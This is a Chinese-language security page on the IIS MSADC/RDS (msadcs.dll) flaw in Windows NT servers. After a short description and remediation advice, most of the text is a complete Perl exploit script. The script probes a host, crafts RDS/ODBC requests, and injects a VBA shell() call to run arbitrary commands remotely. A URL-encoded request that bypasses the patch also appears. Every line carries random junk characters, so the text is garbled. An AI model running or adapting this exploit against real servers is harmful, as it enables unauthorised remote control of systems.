IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
|}d^lQ9 QuS=^,] 涉及程序:
@|(cr: (=H Microsoft NT server
;jgf,fbM pBAAwHD 描述:
`RY}g; 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
DQ0S]:tC ;y-JR$M 详细:
J0Yb_(w 如果你没有时间读详细内容的话,就删除:
#bt z94/~O c:\Program Files\Common Files\System\Msadc\msadcs.dll
/5E0'y,|P 有关的安全问题就没有了。
>4ex5 {U-z(0 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
UovN"8W+ YAXd 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
F(1E@xs 关于利用ODBC远程漏洞的描述,请参看:
NzZ(Nz5 p{oz}} http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm pq0Z<b;2 .+>fD0fW7Y 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
fmYx http://www.microsoft.com/security/bulletins/MS99-025faq.asp GpPM ? i?B<&'G 这里不再论述。
T
?Om]:j 7s%D(;W_Mo 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
3z0Bg QV."ZhL5 = /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
KF&8l/f 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
9(fh+ \r aP 9L7z<ntn #将下面这段保存为txt文件,然后: "perl -x 文件名"
DvhFCA}z &DGqY5= #!perl
yPfx!9B #
skeeec\V # MSADC/RDS 'usage' (aka exploit) script
MNU7OX< #
F$>#P7ph\a # by rain.forest.puppy
>c@! EPS #
u"5/QB{ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
C2LG@iCIE # beta test and find errors!
iOm&(2/ 3T(ft^~ use Socket; use Getopt::Std;
!_Y%+Rkp0 getopts("e:vd:h:XR", \%args);
oBmv^=cH 4+qo=i print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
&5jc
&CS R[ F`b if (!defined $args{h} && !defined $args{R}) {
H5]q*D2 print qq~
_&(Wz0 Usage: msadc.pl -h <host> { -d <delay> -X -v }
8r}tf3xMCM -h <host> = host you want to scan (ip or domain)
#l>r9Z71 -d <seconds> = delay between calls, default 1 second
^XyC[ G@[ -X = dump Index Server path table, if available
<O)
if^ -v = verbose
L]=mQo -e = external dictionary file for step 5
s
j-oaWt )j]f
]8 Or a -R will resume a command session
j*2/[Eq Qv,ORm
h5 ~; exit;}
Wv3p!zW3I tM@%EO $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
>mQD/U if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
a%y*e+oM if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
NjS<DzKhK if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
/ !h<+ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
pV<K=;:x> if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
rSDI.m 860y9wzU if (!defined $args{R}){ $ret = &has_msadc;
(xfy?N die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
3I'7+?@@l :V"e+I print "Please type the NT commandline you want to run (cmd /c assumed):\n"
xz: . "cmd /c ";
xNY&*jI $in=<STDIN>; chomp $in;
TH>uL;?= $command="cmd /c " . $in ;
@6_w{6:b WjVm{ 7?{ if (defined $args{R}) {&load; exit;}
[)X( Qtk Oc~<`C~ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
,X|
>d &try_btcustmr;
y2g)*T!m r,|}^u8` print "\nStep 2: Trying to make our own DSN...";
\xOYa &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
4EeVO5 aa]| print "\nStep 3: Trying known DSNs...";
Qt"jU+Zoy &known_dsn;
ko!]vHB9` E08!a print "\nStep 4: Trying known .mdbs...";
r
'ioH"= &known_mdb;
}K.)yv n V
7 p{'C if (defined $args{e}){
rk+s[Qi~ print "\nStep 5: Trying dictionary of DSN names...";
9-#=xE9'U &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
ty;a!yjC }q_Iep print "Sorry Charley...maybe next time?\n";
@B)5Ho exit;
v*y,PY1* O~J f"Ht ##############################################################################
UM1h[#?&V) d|tNn@jN sub sendraw { # ripped and modded from whisker
|v>W sleep($delay); # it's a DoS on the server! At least on mine...
N#OO{`":Z` my ($pstr)=@_;
cor!S a> socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
2e,cE6r die("Socket problems\n");
c8l\1ce?7 if(connect(S,pack "SnA4x8",2,80,$target)){
laCVj6Rk select(S); $|=1;
z/o&r`no print $pstr; my @in=<S>;
22d>\u+c select(STDOUT); close(S);
.$&vSOgd( return @in;
n Fwg pT } else { die("Can't connect...\n"); }}
6[Mu3.T aE]RVyG@L ##############################################################################
t:'^pYN:g HlxgJw~< sub make_header { # make the HTTP request
lE bV)&' my $msadc=<<EOT
ZV/g_i# POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
9-Qu5L~ User-Agent: ACTIVEDATA
H8Ra !FW@ Host: $ip
fn//j7 j Content-Length: $clen
z9Y}[pN Connection: Keep-Alive
QF.M%she+ _Pw5n
mH c ADCClientVersion:01.06
1N.weey}W Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
qpB8ujj<V i:R_g] --!ADM!ROX!YOUR!WORLD!
i1qmFvksl Content-Type: application/x-varg
b5
AP{
# Content-Length: $reqlen
0d,&) |@D%y& EOT
0VgsV; ; $msadc=~s/\n/\r\n/g;
*%]&5 return $msadc;}
w`Cs, jjoyMg95 ##############################################################################
=,U~ x50ZwV&j sub make_req { # make the RDS request
78'3&,+si my ($switch, $p1, $p2)=@_;
N,ihQB5 my $req=""; my $t1, $t2, $query, $dsn;
Xj6?,J n~yhX%=_Du if ($switch==1){ # this is the btcustmr.mdb query
`g'9)Xf4KT $query="Select * from Customers where City=" . make_shell();
b9l%5a $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
!5zj+N $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
\S#![NC DoEN`K\U elsif ($switch==2){ # this is general make table query
Cm6%wAzC $query="create table AZZ (B int, C varchar(10))";
M;X}v#l|XI $dsn="$p1";}
VPDd*32HC U7xQ 5lph elsif ($switch==3){ # this is general exploit table query
-
[vH4~ $query="select * from AZZ where C=" . make_shell();
F`f8q\Fc $dsn="$p1";}
rV/! VJ6x }@A{'q5y elsif ($switch==4){ # attempt to hork file info from index server
V*+Z=Y' $query="select path from scope()";
IDt7KJ@hc $dsn="Provider=MSIDXS;";}
|/RZGC4 u$V@akk elsif ($switch==5){ # bad query
yMe; $query="select";
DUs0L\ $dsn="$p1";}
$2v{4WP7G Y7@$#/1 $t1= make_unicode($query);
fXx !_Z $t2= make_unicode($dsn);
2$>
<rB $req = "\x02\x00\x03\x00";
Z&Z=24q_ $req.= "\x08\x00" . pack ("S1", length($t1));
w"FBJULzn9 $req.= "\x00\x00" . $t1 ;
FHyyZ{" $req.= "\x08\x00" . pack ("S1", length($t2));
:W}M$5 | $req.= "\x00\x00" . $t2 ;
X|pOw," $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
tc<HA7vpt~ return $req;}
)cRP6 = ET=-r ##############################################################################
{r[g.@ li)shp) sub make_shell { # this makes the shell() statement
$-BM`Zt0; return "'|shell(\"$command\")|'";}
}FAO. dj:6c@n ##############################################################################
5uvFCY./c T oK'Pd sub make_unicode { # quick little function to convert to unicode
+Ft@S(IE my ($in)=@_; my $out;
cY%6+uJ1 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
=8 Jq'-da return $out;}
a.G;s2> OYk/K70l3 ##############################################################################
05[k@f$n ,=t}|!jx sub rdo_success { # checks for RDO return success (this is kludge)
mRD '@n my (@in) = @_; my $base=content_start(@in);
mT#ebeBaf if($in[$base]=~/multipart\/mixed/){
>}!})]Xw9 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
j |:{ B return 0;}
=7%c*O < A}(Q^|6 ##############################################################################
y/6%'56uF %@x.km3e2 sub make_dsn { # this makes a DSN for us
`&)uuLn| my @drives=("c","d","e","f");
~*^aCuq\ print "\nMaking DSN: ";
Q$=X
?{ foreach $drive (@drives) {
H1kxY]_/ print "$drive: ";
{-e|x&- my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
KIHr% "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
^@AIXBe . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
]c$)0O\O $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
;{K/W.R return 0 if $2 eq "404"; # not found/doesn't exist
QMWDII&t if($2 eq "200") {
m\ (crkN
foreach $line (@results) {
#TKByOcD2! return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
3Ay<2v } return 0;}
-|3feYb' }E](NvCq ##############################################################################
$]S*(K3U~ e"ur+7 sub verify_exists {
.Fn7yTQ% my ($page)=@_;
tU>?j1 my @results=sendraw("GET $page HTTP/1.0\n\n");
H.]rH,8 return $results[0];}
,e5#wz !p|d[ ##############################################################################
md`"zV gKWsmx![" sub try_btcustmr {
:PF6xL& my @drives=("c","d","e","f");
OykYXFv* my @dirs=("winnt","winnt35","winnt351","win","windows");
3=xN)j#B B@v"giJg r foreach $dir (@dirs) {
,5HC&@ print "$dir -> "; # fun status so you can see progress
4n,>EA85 foreach $drive (@drives) {
q, XRb print "$drive: "; # ditto
`oGL== $reqlen=length( make_req(1,$drive,$dir) ) - 28;
M*lCoJ $reqlenlen=length( "$reqlen" );
=^S1+B
MY- $clen= 206 + $reqlenlen + $reqlen;
w{5v*SHl}` KO5! (vi@ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
3zuYN-; if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
Q"=$.M~ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
a!Ht81gj [BzwQ 4 ##############################################################################
YVS~|4hu?i SdQ"S-H sub odbc_error {
!;s5\91 my (@in)=@_; my $base;
t*{BN>B my $base = content_start(@in);
}D\i1/Y if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
~_Q1+ax} $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
aX{i $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
,"EgYd8-' $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
86<[!ZM return $in[$base+4].$in[$base+5].$in[$base+6];}
-"MB(` print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
),]XN#jp(u print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
g|rbkK%SoE $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
kKEs >a 9L9+zs3k ##############################################################################
On4tK\l@ TIre,s)_ sub verbose {
2u?k;"]V my ($in)=@_;
f15f)P return if !$verbose;
|ww@V<'/# print STDOUT "\n$in\n";}
1a>TJdoa ( ,!G$~Sy ##############################################################################
vv5 u U8 OX[pK_:`l sub save {
$~FnBD%|{ my ($p1, $p2, $p3, $p4)=@_;
}hyl)?*~ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
pGdo:L? print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
vo JmNH close OUT;}
mx;1'!'fr 7\nR'MOZ ##############################################################################
Tq*K
=^ P{gy/'PH, sub load {
C3>`e3v my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
$K}Y open(IN,"<rds.save") || die("Couldn't open rds.save\n");
-N~eb^3[c @p=<IN>; close(IN);
w_lN[u-L $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
_@:O&G2nB $target= inet_aton($ip) || die("inet_aton problems");
P!K;`4Ika print "Resuming to $ip ...";
8ZPjzN>c6 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
mKN#dmw6 if($p[1]==1) {
JuTIP6
/G $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
4%9
+=" $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
1DT}_0{0Q my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
X4{O/G if (rdo_success(@results)){print "Success!\n";}
o1?bqVF;6 else { print "failed\n"; verbose(odbc_error(@results));}}
2GC{+* elsif ($p[1]==3){
9qXKHro if(run_query("$p[3]")){
nht?58 print "Success!\n";} else { print "failed\n"; }}
2~(\d\k elsif ($p[1]==4){
[+4/M3J% if(run_query($drvst . "$p[3]")){
$:D-dUr1 print "Success!\n"; } else { print "failed\n"; }}
rI.CCPY~s exit;}
GB\1' h#Q Sx@U6 ##############################################################################
B A(PWX`H lZf=# sub create_table {
=LHz[dSL my ($in)=@_;
_,{R3k $reqlen=length( make_req(2,$in,"") ) - 28;
k2Y * $reqlenlen=length( "$reqlen" );
S"skKh4w
$clen= 206 + $reqlenlen + $reqlen;
~![J~CkPS my @results=sendraw(make_header() . make_req(2,$in,""));
FvVR \a return 1 if rdo_success(@results);
7;x}W-`iF my $temp= odbc_error(@results); verbose($temp);
%MH!L2| return 1 if $temp=~/Table 'AZZ' already exists/;
KKJ)BG?qZ return 0;}
CE;J`; mX&!/U ##############################################################################
vS'l@`Eg] i^2-PKPg{ sub known_dsn {
Wd<|DmSy # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
AaX][2y8 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
W&`{3L "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
m(o^9R_=^9 "banner", "banners", "ads", "ADCDemo", "ADCTest");
NGq@x%T lz>>{ foreach $dSn (@dsns) {
s !XJ print ".";
<yxy ;o next if (!is_access("DSN=$dSn"));
K 0Gm ?( if(create_table("DSN=$dSn")){
a7YzX5n print "$dSn successful\n";
{$fd?| 9h if(run_query("DSN=$dSn")){
Q$XNs%7w5, print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
(N
0kTi]b print "Something's borked. Use verbose next time\n";}}} print "\n";}
gof'NT\c 7x5wT ?2W ##############################################################################
JNk6:j&Pf [oS4WP sub is_access {
Iq["(!7E5 my ($in)=@_;
Ka+N5 T.f $reqlen=length( make_req(5,$in,"") ) - 28;
[B+]F~}@ $reqlenlen=length( "$reqlen" );
eb#p-=^KP $clen= 206 + $reqlenlen + $reqlen;
]**h`9MF
my @results=sendraw(make_header() . make_req(5,$in,""));
yh:Wg$qx my $temp= odbc_error(@results);
q\]"}M8 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
vn(ji= return 0;}
}Md5a%s< A8oTcX_ ##############################################################################
o<Y[GW1pg :HW\awv sub run_query {
PPMAj@B}V my ($in)=@_;
>^N{ $reqlen=length( make_req(3,$in,"") ) - 28;
&8xwR $reqlenlen=length( "$reqlen" );
$z48~nu@j $clen= 206 + $reqlenlen + $reqlen;
TkyP_* my @results=sendraw(make_header() . make_req(3,$in,""));
XS oHh- return 1 if rdo_success(@results);
Kd;Iu\4hv my $temp= odbc_error(@results); verbose($temp);
Iy8fN"I9D return 0;}
b<E+5;u QpI\\Zt6 ##############################################################################
lV
M)'m 0Q4i<4 XW sub known_mdb {
7Adg; my @drives=("c","d","e","f","g");
} 8&? my @dirs=("winnt","winnt35","winnt351","win","windows");
hy|Yy&- my $dir, $drive, $mdb;
Lh;U2pA my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
\h48]ZjC` tB)nQw7 # this is sparse, because I don't know of many
zz**HwRt my @sysmdbs=( "\\catroot\\icatalog.mdb",
d$qi.%<kh "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
7,7-E&d "\\system32\\certmdb.mdb",
Or3GrZ!H "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
tQWjNP~ tB{HH%cV my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
)kk10AZV-E "\\cfusion\\cfapps\\forums\\forums_.mdb",
#w6ty<b; "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
Hzc5BC "\\cfusion\\cfapps\\security\\realm_.mdb",
{v>8Kp7_R "\\cfusion\\cfapps\\security\\data\\realm.mdb",
GJ Takhj3 "\\cfusion\\database\\cfexamples.mdb",
T]UrKj/iF "\\cfusion\\database\\cfsnippets.mdb",
^{{0ajI9C "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
K=N8O8R$y "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
Xc8
XgZk "\\cfusion\\brighttiger\\database\\cleam.mdb",
p>9|JMk "\\cfusion\\database\\smpolicy.mdb",
20Z=_}, "\\cfusion\\database\cypress.mdb",
d\-v+'d*+ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
E/@ "\\website\\cgi-win\\dbsample.mdb",
?DgeKA"A "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
V:<Z "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
WG]`Sy ); #these are just
q{CD:I:- foreach $drive (@drives) {
U
uEm{ foreach $dir (@dirs){
Dt:NBN foreach $mdb (@sysmdbs) {
SbXV'&M2AT print ".";
KD^n7+w% if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
& N.]8x5A print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
7Q0vwKC8> if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
w`I+4&/h print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
iiLDl } else { print "Something's borked. Use verbose next time\n"; }}}}}
{M
^5w >J) 9&? foreach $drive (@drives) {
Oj8xc!d' foreach $mdb (@mdbs) {
r)|6H"n#]S print ".";
Xf{ht%b if(create_table($drv . $drive . $dir . $mdb)){
ac%x\e$ print "\n" . $drive . $dir . $mdb . " successful\n";
Av>xgfX if(run_query($drv . $drive . $dir . $mdb)){
* -X`^R print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
5$ &',v( } else { print "Something's borked. Use verbose next time\n"; }}}}
tSVU,m }
4L/nEZ!Nsu +FH@|~^O ##############################################################################
Jp"[` m Vy 7 )_D sub hork_idx {
p}p}!M| print "\nAttempting to dump Index Server tables...\n";
}6"l`$=Ev print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
3FG'A[x3O $reqlen=length( make_req(4,"","") ) - 28;
hdDL92JVg $reqlenlen=length( "$reqlen" );
:_[pZ;-@ $clen= 206 + $reqlenlen + $reqlen;
y*e({fio_ my @results=sendraw2(make_header() . make_req(4,"",""));
sL],@z8<k if (rdo_success(@results)){
)nlFyWXh. my $max=@results; my $c; my %d;
hMyN$7Z for($c=19; $c<$max; $c++){
#O N^6f2 $results[$c]=~s/\x00//g;
VQ;'SY:` $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
"EBCf.3- $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
Q9k;PJ`@ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
^VsE2CX $d{"$1$2"}="";}
nQ@<[KNd foreach $c (keys %d){ print "$c\n"; }
4}-G<7* } else {print "Index server doesn't seem to be installed.\n"; }}
m:Fdgu9 x}~Z[ bx ##############################################################################
:Z.P0= L| ]fc9W: sub dsn_dict {
2"EaF^?\ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
-ND1+`yD while(<IN>){
!@>q^_Gez $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
cq~~a(IS next if (!is_access("DSN=$dSn"));
2oo\ SmO] if(create_table("DSN=$dSn")){
%gu | print "$dSn successful\n";
C:.>*;?7 if(run_query("DSN=$dSn")){
4mvnFY} print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
PkcvUJV print "Something's borked. Use verbose next time\n";}}}
7U:{=+oLR print "\n"; close(IN);}
v >cPr( *^:s!F ##############################################################################
"u)Le6. ?Xj@Sx sub sendraw2 { # ripped and modded from whisker
@$1jp4c
sleep($delay); # it's a DoS on the server! At least on mine...
rP IAu[],g my ($pstr)=@_;
Kf# iF* socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
X*M2 O%g`L die("Socket problems\n");
{Ga=;0 if(connect(S,pack "SnA4x8",2,80,$target)){
C8%MKNPd print "Connected. Getting data";
,V[|c$ open(OUT,">raw.out"); my @in;
5DJ!:QY! select(S); $|=1; print $pstr;
e_}tK1XY while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
|3BxNFe`% close(OUT); select(STDOUT); close(S); return @in;
0:$pJtx" } else { die("Can't connect...\n"); }}
O~|Y#T :xk+`` T ##############################################################################
r-No\u_ X/h|;C*9 sub content_start { # this will take in the server headers
MS\?+8|SV( my (@in)=@_; my $c;
kAs=5_?I for ($c=1;$c<500;$c++) {
"gt1pf~y if($in[$c] =~/^\x0d\x0a/){
<vt}+uMzXv if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
xy4P_ else { return $c+1; }}}
j!"5,~ return -1;} # it should never get here actually
?3gf)g= : . PRM+ ##############################################################################
HMhdK ,z#S=I sub funky {
0,B"p my (@in)=@_; my $error=odbc_error(@in);
.:O($9^Ho if($error=~/ADO could not find the specified provider/){
:r7!HG_ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
!Y 9V1oVf" exit;}
7bQST0 ? if($error=~/A Handler is required/){
T1%}H3 print "\nServer has custom handler filters (they most likely are patched)\n";
xT-`dS0u exit;}
^O!;KIe{g if($error=~/specified Handler has denied Access/){
TLq^5,qG print "\nServer has custom handler filters (they most likely are patched)\n";
Js^(mRv= exit;}}
Zr(eH2}0D Kw(S<~9-@ ##############################################################################
"q
KVGd rDGrq9 sub has_msadc {
@sUec my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
v6ei47- my $base=content_start(@results);
^].U?t.n) return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
N*+WGsxl$z return 0;}
S~)_=4Z E=91k. ########################
\Nk578+AA Jp=
)L ^oR
qu
解决方案:
4'td6F 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
&Zjs 2、移除web 目录: /msadc